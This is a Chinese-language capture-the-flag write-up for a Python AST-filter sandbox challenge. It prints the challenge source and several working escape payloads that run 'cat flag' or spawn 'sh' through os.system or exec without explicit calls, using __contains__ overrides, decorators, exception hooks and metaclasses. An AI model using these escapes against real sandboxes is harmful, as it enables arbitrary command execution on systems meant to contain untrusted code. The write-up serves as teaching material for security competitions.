TREEBOX

TREEBOX

I think I finally got Python sandboxing right.

Attachment treebox.2022.ctfcompetition.com 1337


#!/usr/bin/python3 -u
#
# Flag is in a file called "flag" in cwd.
#
# Quote from Dockerfile:
#   FROM ubuntu:22.04
#   RUN apt-get update && apt-get install -y python3
#
import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

阅读源码,可以发现:

  • flag在当前工作目录下一个名为flag的文件
  • 我们可以通过exec执行任意代码,但必须通过verify_secure函数的检查
  • verify_secure使用ast模块进行分析,不能有显式的函数调用和导入语句
  • ossys模块可用

思路:

  • os模块已经导入,我们可以通过os.system()方法来执行系统命令
  • 借助于Python机制,通过非显式的方式地来调用函数,如内置函数、重载运算符、解释器Hook

我的解法:

在python中使用in运算符时,默认会调用__contains__方法,并且会将需要判断的对象作为形参传入;

所以我们可以用os.system覆盖现有的python对象/类上的__contains__方法,然后通过运算符来调用system函数.

os.environ.__class__.__contains__ = os.system
'cat flag' in os.environ

其他解法:

  1. 装饰器

    @exec
    @input
    class X:
      pass
  2. 异常

    class MyException(Exception):
      def __str__(self):
        return 'cat flag'
    
    sys.stdout.write=os.system
    sys.stderr.write=os.system
    
    raise MyException
    class X:
        def __init__(self, a, b, c):
            self += "os.system('sh')"
        __iadd__ = exec
    sys.excepthook = X
    1/0
  3. 元类

    # This will define the members on the "sub"class
    class Metaclass:
        __getitem__ = exec # So Sub[string] will execute exec(string)
    # Note: Metaclass.__class__ == type
        
    class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
        pass # Nothing special to do
    
    assert isinstance(Sub, Metaclass)
    sub['import os; os.system("sh")']

其他Writeup

flag:CTF{CzeresniaTopolaForsycja}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值